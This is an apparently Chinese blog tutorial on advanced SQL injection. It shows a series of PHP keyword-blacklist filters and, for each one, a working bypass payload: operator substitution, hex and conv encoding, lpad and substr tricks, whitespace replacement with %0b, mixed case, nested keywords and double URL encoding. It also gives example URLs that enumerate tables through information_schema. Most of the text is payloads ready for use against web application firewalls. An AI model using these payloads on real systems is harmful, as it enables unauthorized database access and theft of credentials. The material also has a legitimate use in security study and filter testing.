高级SQL注入:混淆和绕过

绕过函数和关键词过滤

关键词过滤: and , or

PHP过滤代码:

复制代码
preg_match('/(and|or)/i',$id)

/i 模式修饰符,表示忽略大小写

关键词and,or常被用做简单测试网站是否容存在注入。

过滤注入:

复制代码
1 or 1 = 1    1 and 1 = 1

绕过注入:

复制代码
1 || 1 = 1    1 && 1 = 1

关键词过滤:and , or , union

PHP过滤代码:

复制代码
preg_match ('/(and|or|union)/i',$id)

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:

复制代码
union select user,password from users

绕过注入:

复制代码
1 || (select  user  from  users  where  user_id = 1)='admin'

|| 管道符后边的意思就是,从users 表中查找 user_id = 1user 数据是不是 admin


关键词过滤:and , or , union , where

PHP过滤代码:

复制代码
preg_match ('/(and|or|union|where)/i',$id)

过滤注入:

复制代码
1|| (select user from users where user_id = 1) = 'admin'

绕过注入:

复制代码
1|| (select user from users limit 1)='admin'

limit 默认的初始行是从0行开始

limit 1 意思是 选取第一条数据。


关键词过滤:and , or , union , where , limit

PHP过滤代码:

复制代码
preg_match ('/(and|or|union|where|limit)/i',$id)

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:

复制代码
1|| (select  user  from  users  limit 1) ='admin'

绕过注入:

复制代码
1|| (select  user  from  users  group  by  user_id  having  user_id=1 ) = 'admin'

GROUP BY 语句通常与聚合函数(count, sum, avg, min, or max.) 等联合使用来得到一个或多个列的结果集,

HAVING 语句通常与GROUP BY 语句联合使用,用来过滤由GROUP BY语句返回的记录集,

在这里,你可以这样理解,就是

group by 查找字段为 user_id 的所有数据,然后用 having 筛选 user_id=1 的那条数据。


关键词过滤:and , or , union , where , limit , group by

PHP过滤代码:

复制代码
preg_match ('/(and|or|union|where|limit|group by)/i',$id)

关键词union通常被用来构造一个恶意的语句以从数据库中获取更多数据。

过滤注入:

复制代码
1|| (select  user  from  users  group by  user_id  having  user_id  =1) ='admin'

绕过注入:

复制代码
1|| (select  substr(group_concat(user_id),0,1) user  from  users  )=1

group_concat() 函数将组中的字符串连接成为具有各种选项的单个字符串。,

语法:group_concat(要连接的字段,排序字段,分隔符(默认是逗号)),

为了更好的理解 group_concat() 函数 ,我们可以简单测试一下 group_concat(user_id) 这句sql语句

首先一张表的数据为


然后使用**group_concat()** 函数 输出一下看看

可以看到已经将id全部输出,并且用逗号分隔开了


substr() 函数用来切割字符串。

语法:substr(string,start,length)

这条语句我们变换一下,

相当于这样:

复制代码
substr('1,2,3,4,5',0,1)

0 意思是从第0 位开始,1意思是 到第1位结束,

然后输出就是 1

整条sql语句最后就变成:

复制代码
1|| (select  1)=1

select 1 也等于 1

最后就变成 1|| 1=1 条件为真。


关键词过滤:and , or , union , where , limit , group by , select ,'(分号)

PHP过滤代码:

复制代码
preg_match ('/(and|or|union|where|limit|group by|select|\')/i',$id)

过滤注入:

复制代码
1|| (select substr(group_concat(usr_id),1,1)user from users =1

绕过注入:

复制代码
1|| user_id is not null

1||substr(user,1,1)=0x61

1||substr(user,1,1)=unhex(61)

首先还是之前那张表,来运行下sql语句看看,


0x61 为16进制的a,最后就变成 1||a=a

unhex() 函数: 对十六进制数字转化为一个字符。

最后这条语句也是跟上面一样了。


关键词过滤:and , or , union , where , limit , group by , select ,'(分号) , hex

PHP过滤代码:

复制代码
preg_match ('/(and|or|union|where|limit|group by|select|\'|hex)/i',$id)

过滤注入:

复制代码
1||substr(user,1,1)=unhex(61)

绕过注入:

复制代码
1||substr(user,1,1)=lower(conv(10,10,36))

conv() 函数是用于计算向量的卷积和多项式乘法。

不懂没关系,这篇文章讲的很详细,
https://blog.csdn.net/geming2017/article/details/84256843

虽然看懂了一些,但是太菜了,无法用脚本来计算,

于是本菜稍微去测试了一下,于是有了这个结果,



第一个数字可以控制输出的字符,第二个数字同样也可以,

第三个数字的话有兴趣的朋友可以自己去试试,


lower() 函数当前字符集映射为小写字母。

知道了函数的作用后面整个绕过语句就很好理解了,


关键词过滤:and , or , union , where , limit , group by , select ,'(分号) , hex , substr

PHP过滤代码:

复制代码
preg_match ('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i',$id)

过滤注入:

复制代码
1||substr(user,1,1)=lower(conv(10,10,36))

绕过注入:

复制代码
1||lpad(user,7,1)

lpad() 字符串左填充函数。

语法: LPAD(str,len,padstr)

用字符串 padstr对 str进行左边填补直至它的长度达到 len个字符长度

然后返回 str。如果 str的长度长于 len ,那么它将被截除到 len个字符。

这里是判断user 中数据的长度是否为7 ,如果不是将用1来填充

简单测试,


关键词过滤:and , or , union , where , limit , group by , select ,'(分号) , hex , substr , white space(英文空格,空白区间的意思)

PHP过滤代码:

复制代码
preg_match ('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i',$id)

过滤注入:

复制代码
1 || lpad(user,7,1)

绕过注入:

复制代码
1%0b||%0blpad(user,7,1)

\s 是转移符,用以匹配任何空白字符,包括空格、制表符、换页符等等,

%0b 用来替换空白符。

替换空白符的方法还有 两个空格代替一个空格,用Tab代替空格,%a0=空格

另外,这些都可以用来替换空白符,
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/


绕过正则表达式过滤

过滤注入: 1 or 1 = 1

复制代码
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name='users'
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between 'a' and 'z'
过滤注入: 1 union select 1,table_name from information_schema.tables where table_name between char(97) and char(122)
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name between 0x61 and 0x7a
绕过注入: 1 union select 1,table_name from information_schema.tables where table_name like 0x7573657273

常见混淆绕过技术

变换大小写,

某些WAF仅过滤小写的SQL关键词

正则表达式过滤:

复制代码
preg_match ('/(union|sselect)/i',$id)

/g (全文查找出现的所有匹配字符)

绕过,例:

复制代码
http://www.xxx.com/index.php?id=1+UnIoN/**/SeLecT/**/1,2,3-- 

替换关键词,

某些程序和WAF用preg_replace函数来去除所有的SQL关键词。

关键词 unionselect 被去除,

绕过,例:

复制代码
http://www.xxx.com/index.php?id=1+UNunionION+SEselectLECT+1,2,3--

某些情况下SQL关键词被过滤掉并且被替换成空格。因此我们用**%0b**来绕过。

绕过,例:

复制代码
http://www.xxx.com/index.php?id=1+uni%0bon+se%0blect+1,2,3--

对于注释 /**/ 不能绕,那么我们用 %0b 代替 /**/

例:

复制代码
过滤: http://www.xxx.com/news/id/1/**/||/**/lpad(first_name,7,1).html
绕过: http://www.xxx.com/news/id/1%0b||%0blpad(first_name,7,1).html

字符编码

大多WAF将对程序的输入进行解码和过滤,

但是某些WAF仅对输入解码一次,那么双重加密就能绕过某些过滤。

例:

复制代码
绕过: http://www.xxx.com/index.php?id=1%252f%252a*/union%252f%252a/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

简单说明一下,

%252f 两次URL解码后就 / 斜杠 ,

%252a 两次URL解码后就 * 星号 ,

其他的可以自己动手多去尝试。


对于某些过滤了 NULL 字符,和 ' 单引号的,

可以使用例如下面的语句进行绕过

复制代码
过滤: http://www.xxx.com/news/?/**/union/**/select?..
绕过: http://www.xxx.com/news/?/%2A%2A/union/%2A%2A/select?
绕过: http://www.xxx.com/news/?%2f**%2funion%2f**%2fselect

附1:小结

%0D%0A 作为换行符

相关推荐
陈小桔8 小时前
idea中重新加载所有maven项目失败,但maven compile成功
java·maven
小学鸡!8 小时前
Spring Boot实现日志链路追踪
java·spring boot·后端
xiaogg36788 小时前
阿里云k8s1.33部署yaml和dockerfile配置文件
java·linux·kubernetes
wan5555cn8 小时前
周末之美:慢下来,拥抱生活的温柔
数据库
yumgpkpm9 小时前
华为鲲鹏 Aarch64 环境下多 Oracle 、mysql数据库汇聚到Cloudera CDP7.3操作指南
大数据·数据库·mysql·华为·oracle·kafka·cloudera
逆光的July9 小时前
Hikari连接池
java
1024小神9 小时前
为已有nextjs项目添加supabase数据库,不再需要冗余后端
数据库
微风粼粼9 小时前
eclipse 导入javaweb项目,以及配置教程(傻瓜式教学)
java·ide·eclipse
番茄Salad9 小时前
Spring Boot临时解决循环依赖注入问题
java·spring boot·spring cloud
天若有情6739 小时前
Spring MVC文件上传与下载全面详解:从原理到实战
java·spring·mvc·springmvc·javaee·multipart